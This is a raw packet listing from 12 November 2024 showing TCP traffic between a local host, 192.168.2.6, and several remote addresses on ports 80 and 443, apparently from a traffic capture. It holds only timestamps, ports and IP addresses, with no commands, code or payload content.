Nov 12, 2024 17:07:51.195072889 CET	49922	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.195094109 CET	443	49922	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.195178986 CET	49922	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.195343971 CET	49922	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.195357084 CET	443	49922	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.206135035 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.206171989 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.206183910 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.206240892 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.206294060 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.206363916 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.206381083 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.206381083 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.206406116 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.206429958 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.206473112 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.206484079 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.206495047 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.206507921 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.206516027 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.206542015 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.206558943 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.206614017 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.206655979 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.207110882 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.207158089 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.207170010 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.207257986 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.246166945 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.246212006 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.246222973 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.246280909 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.246324062 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.246376991 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.246387959 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.246426105 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.246438026 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.246643066 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.246654987 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.246666908 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.246685982 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.246731043 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.246829987 CET	49906	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.246839046 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.246843100 CET	443	49906	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.246850967 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.246896029 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.246931076 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.247047901 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.247059107 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.247128963 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.259598017 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.259632111 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.259646893 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.259650946 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.259669065 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.259704113 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.259740114 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.259782076 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.259795904 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.259828091 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.259845972 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.259867907 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.272725105 CET	443	49913	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.272847891 CET	443	49913	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.272938967 CET	49913	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.273119926 CET	49913	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.273137093 CET	443	49913	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.273149967 CET	49913	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.273155928 CET	443	49913	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.276402950 CET	49923	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.276431084 CET	443	49923	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.276722908 CET	49923	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.276873112 CET	49923	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.276886940 CET	443	49923	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.301039934 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.305913925 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.316494942 CET	443	49914	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.316878080 CET	49914	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.316910028 CET	443	49914	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.317361116 CET	49914	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.317367077 CET	443	49914	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.453531981 CET	443	49914	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.453563929 CET	443	49914	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.453608036 CET	443	49914	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.453636885 CET	49914	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.453671932 CET	49914	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.455404043 CET	49914	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.455435038 CET	443	49914	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.455450058 CET	49914	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.455455065 CET	443	49914	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.458364964 CET	49924	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.458405972 CET	443	49924	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.458537102 CET	49924	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.458681107 CET	49924	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.458694935 CET	443	49924	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.466321945 CET	49925	443	192.168.2.6	23.221.22.213
Nov 12, 2024 17:07:51.466368914 CET	443	49925	23.221.22.213	192.168.2.6
Nov 12, 2024 17:07:51.466543913 CET	49926	443	192.168.2.6	23.221.22.213
Nov 12, 2024 17:07:51.466553926 CET	443	49926	23.221.22.213	192.168.2.6
Nov 12, 2024 17:07:51.466584921 CET	49925	443	192.168.2.6	23.221.22.213
Nov 12, 2024 17:07:51.466618061 CET	49926	443	192.168.2.6	23.221.22.213
Nov 12, 2024 17:07:51.466856956 CET	49925	443	192.168.2.6	23.221.22.213
Nov 12, 2024 17:07:51.466871023 CET	443	49925	23.221.22.213	192.168.2.6
Nov 12, 2024 17:07:51.467000008 CET	49926	443	192.168.2.6	23.221.22.213
Nov 12, 2024 17:07:51.467010021 CET	443	49926	23.221.22.213	192.168.2.6
Nov 12, 2024 17:07:51.580331087 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.580353975 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.580408096 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.580408096 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.580418110 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.580498934 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.580503941 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.580518007 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.580568075 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.580575943 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.580702066 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.580751896 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.580764055 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.580769062 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.580796003 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.580945015 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.581002951 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.581036091 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.581048965 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.581185102 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.581187963 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.581202984 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.581214905 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.581227064 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.581244946 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.581279993 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.581613064 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.581669092 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.581681013 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.581693888 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.581723928 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.581737041 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.581808090 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.581819057 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.581888914 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.676110983 CET	443	49916	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.676583052 CET	49916	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.676615953 CET	443	49916	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.677052021 CET	49916	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.677057028 CET	443	49916	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.727075100 CET	443	49917	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:51.727408886 CET	49917	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:51.727428913 CET	443	49917	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:51.727767944 CET	443	49917	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:51.729624987 CET	49917	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:51.729695082 CET	443	49917	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:51.730217934 CET	49917	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:51.735450029 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.735508919 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.735532045 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.735709906 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.735758066 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.735775948 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.735789061 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.735853910 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.735896111 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.735913992 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.735927105 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.735965014 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.736236095 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.736248016 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.736258030 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.736270905 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.736284018 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.736284971 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.736316919 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.736332893 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.736675024 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.736728907 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.736742020 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.736771107 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.736777067 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.736799955 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.736938000 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.736979008 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.736983061 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.736996889 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.737039089 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.737077951 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.737091064 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.737159014 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.737477064 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.737488031 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.737500906 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.737565994 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.737565994 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.737606049 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.737618923 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.737628937 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.737641096 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.737654924 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.737675905 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.737795115 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.737812042 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.737854958 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.738379955 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.738425970 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.738437891 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.738495111 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.738538027 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.738548994 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.738560915 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.738571882 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.738589048 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.738616943 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.738640070 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.744318008 CET	443	49918	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:51.744585991 CET	49918	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:51.744595051 CET	443	49918	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:51.744942904 CET	443	49918	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:51.745413065 CET	49918	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:51.745481014 CET	443	49918	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:51.745692968 CET	49918	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:51.775333881 CET	443	49917	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:51.791336060 CET	443	49918	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:51.797646999 CET	443	49915	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.798207045 CET	49915	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.798240900 CET	443	49915	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.798669100 CET	49915	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.798676968 CET	443	49915	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.813762903 CET	443	49916	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.814476013 CET	443	49916	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.814575911 CET	49916	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.814932108 CET	49916	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.814941883 CET	443	49916	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.814950943 CET	49916	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.814956903 CET	443	49916	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.817425013 CET	49927	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.817449093 CET	443	49927	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.818039894 CET	49927	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.818301916 CET	49927	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.818312883 CET	443	49927	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.874948978 CET	443	49918	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:51.874979973 CET	443	49918	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:51.875053883 CET	443	49918	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:51.875106096 CET	49918	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:51.876189947 CET	49918	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:51.876195908 CET	443	49918	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:51.892224073 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.892254114 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.892313957 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.892401934 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.892462969 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.892473936 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.892478943 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.892501116 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.892538071 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.892559052 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.892570972 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.892580986 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.892601967 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.892630100 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.892658949 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.892750025 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.892752886 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.892762899 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.892786980 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.892812967 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.892837048 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.892849922 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.892890930 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.892963886 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.893029928 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.893042088 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.893055916 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.893110991 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.893136024 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.893179893 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.893198013 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.893215895 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.893255949 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.893322945 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.893336058 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.893349886 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.893393040 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.893608093 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.893656969 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.893661022 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.893671036 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.893734932 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.893762112 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.893774033 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.893815041 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.893827915 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.893949986 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.893961906 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.894006968 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.894040108 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.894052029 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.894062996 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.894074917 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.894087076 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.894114971 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.894362926 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.894397020 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.894438028 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.894450903 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.894490004 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.894642115 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.894654036 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.894665956 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.894676924 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.894689083 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:51.894702911 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.894731998 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.894753933 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:51.928641081 CET	443	49922	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.929120064 CET	49922	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.929142952 CET	443	49922	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.929574966 CET	49922	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.929579973 CET	443	49922	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.929934978 CET	443	49915	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.930108070 CET	443	49915	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.930171967 CET	49915	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.930193901 CET	49915	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.930208921 CET	443	49915	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.930239916 CET	49915	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.930246115 CET	443	49915	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.933000088 CET	49928	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.933036089 CET	443	49928	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.933218956 CET	49928	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.933428049 CET	49928	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.933434010 CET	443	49928	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.993688107 CET	443	49923	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.994223118 CET	49923	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.994251013 CET	443	49923	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:51.994671106 CET	49923	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:51.994678974 CET	443	49923	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.012298107 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.012342930 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.012355089 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.012365103 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.012387991 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.012466908 CET	80	49859	185.215.113.206	192.168.2.6
